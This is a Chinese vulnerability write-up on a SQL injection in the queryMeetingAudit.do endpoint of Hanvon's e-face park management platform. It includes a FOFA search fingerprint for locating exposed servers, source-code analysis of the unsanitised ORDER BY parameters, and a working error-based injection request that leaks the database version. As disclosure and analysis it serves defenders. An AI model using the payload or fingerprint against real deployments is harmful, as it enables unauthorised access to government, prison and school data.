漏洞简介
汉王e脸通综合管理平台是汉王公司研发的一款基于生物识别技术的智慧园区管理软件,集成了考勤管理、门禁管理、访客管理、巡更管理、消费管理、车控管理、梯控管理、人事管理等多个模块,广泛应用于政府、企业、监狱、学校、智慧社区等多个领域,实现无接触式快速通行,提升管理效率和安全性。其管理平台的 queryMeetingAudit.do 接口存在 SQL注入漏洞。攻击者可在无需认证的情况下,通过构造恶意请求参数注入恶意 SQL 语句,导致数据库信息泄露、数据篡改甚至系统权限提升,影响系统数据安全和完整性。
影响版本
V1.6.x
fofa语法
icon_hash="1380907357"
漏洞分析
直接看 MobiMeetingAppController 里关于 queryMeetingAudit 的实现
@ResponseBody
@RequestMapping(
value = {"/queryMeetingAudit.do"},
method = {RequestMethod.GET}
)
public MethodResult queryMeetingAudit(@RequestParam(required = false,value = "page") Integer page, @RequestParam(required = false,value = "pageSize") Integer pageSize, @RequestParam(required = false,value = "start") String start, @RequestParam(required = false,value = "end") String end, @RequestParam(required = false,value = "keys") String keys, @RequestParam(required = false,value = "auditState") Integer auditState, @RequestParam(required = false,value = "columnKey") String columnKey, @RequestParam(required = false,value = "order") String order, @RequestHeader(required = false,value = "token") String token) {
new MethodResult();
MethodResult rst = this.getTokenUser(token);
if (rst.isSuccess()) {
UserTpm user = (UserTpm)rst.getResult();
MethodResult methodResult;
try {
if (page == null) {
page = Constants.DEFAULT_START_PAGE_INDEX;
}
if (pageSize == null) {
pageSize = Constants.PAGE_SIZE;
}
MeetingParam meetingParam = new MeetingParam();
meetingParam.setKeys(keys);
meetingParam.setMtStartTime(start);
meetingParam.setMtEndTime(end);
if (auditState != null) {
meetingParam.setState(auditState);
}
meetingParam.setColumnKey(columnKey);
meetingParam.setOrder(order);
if (start == null) {
meetingParam.setMtDate(DateUtils.formatDate(DateUtils.getDate()));
}
PageHelper.startPage(page, pageSize);
List<MeetingTpm> list = this.meetingAsm.queryMeetingAudit(meetingParam);
和 汉王e脸通综合管理平台 queryManyPeopleGroupList.do SQL注入漏洞 处理逻辑差不多,直接看对应的 mapper xml文件 MeetingDsm.xml
<!--查询会议预约审核列表-->
<select id="queryMeetingAudit" parameterType="com.hanvon.iface.tpm.meeting.param.MeetingParam"
resultMap="ResultMapVO">
SELECT MT.ID,MT.MT_NAME,MT.MT_DATE,MT.MT_START_TIME,MT.MT_END_TIME,MT.MT_SIGNIN_STARTTIME,
MT.MT_SIGNIN_ENDTIME,MT.MR_ID,MT.MT_CONTENT,MT.MT_DELETE,MT.MT_STATE,MT.MT_CREATE_TIME,MT_IS_SIGNIN,MT_IS_SIGNOUT,
MT.MT_DEVICE_ID,MT.MT_SIGNOUT_STARTTIME,MT.MT_SIGNOUT_ENDTIME,SU.SZ_NAME as applicant,sb.sz_name as branchName,
MMT.MR_NAME AS MRNAME,(SELECT COUNT(1) FROM mt_meeting_file MMF WHERE MMF.MT_ID = MT.ID) AS SUM
FROM mt_meeting MT
LEFT JOIN mt_meeting_room MMT ON MT.MR_ID = MMT.ID
LEFT JOIN sys_user_sys SU ON MT.MT_CREATE_ID = SU.NG_ID
LEFT JOIN sys_branch sb on sb.ng_id = (SELECT sub.ng_branch_id from sys_user_branch sub where sub.ng_user_id
=MT.MT_CREATE_ID )
WHERE MT.MT_DELETE = 1 AND MT.MT_STATE <> 1
<if test="keys != null">
AND (
SU.SZ_NAME like CONCAT('%',#{keys},'%')
OR SU.sz_employ_id =#{keys}
)
</if>
<if test="state != null and state != ''">
AND MT.MT_STATE= #{state}
</if>
<if test="mtName != null and mtName != ''">
AND MT.MT_NAME like CONCAT('%',#{mtName},'%')
</if>
<if test="mtStartTime != null">
AND DATE(MT.MT_DATE) >= DATE(#{mtStartTime,jdbcType=VARCHAR})
</if>
<if test="mtEndTime != null">
AND DATE(#{mtEndTime,jdbcType=VARCHAR}) >= DATE(MT.MT_DATE)
</if>
<if test="mrId != null">
and MT.MR_ID = #{mrId}
</if>
<if test="mtDate != null">
and MT.MT_DATE >= #{mtDate,jdbcType=VARCHAR}
</if>
ORDER BY
<if test="order == null or order == ''">
MT.MT_CREATE_TIME desc
</if>
<if test="order != null and order != ''">
${columnKey} ${order}
</if>
</select>
用户可控的 columnKey 和 order 参数未经任何过滤直接拼接到 SQL 语句的 ORDER BY 子句中,导致攻击者可构造恶意输入执行任意 SQL 命令,造成SQL注入漏洞。
漏洞复现
需要一个合法的 token,参考 wxLogin.do 信息泄露获取
GET /manage/mobiMeetingApp/queryMeetingAudit.do?begin=&branchId=1&end=&page=1&pageSize=10&year=2025&recordId=1&order=(UPDATEXML(2920,CONCAT(0x7e,@@version,0x7e,(SELECT+(ELT(2920=2920,1)))),8357)) HTTP/1.1
Host: hanvon.mrxn.net
token: xxxxxx

成功通过报错注入爆出数据库版本信息

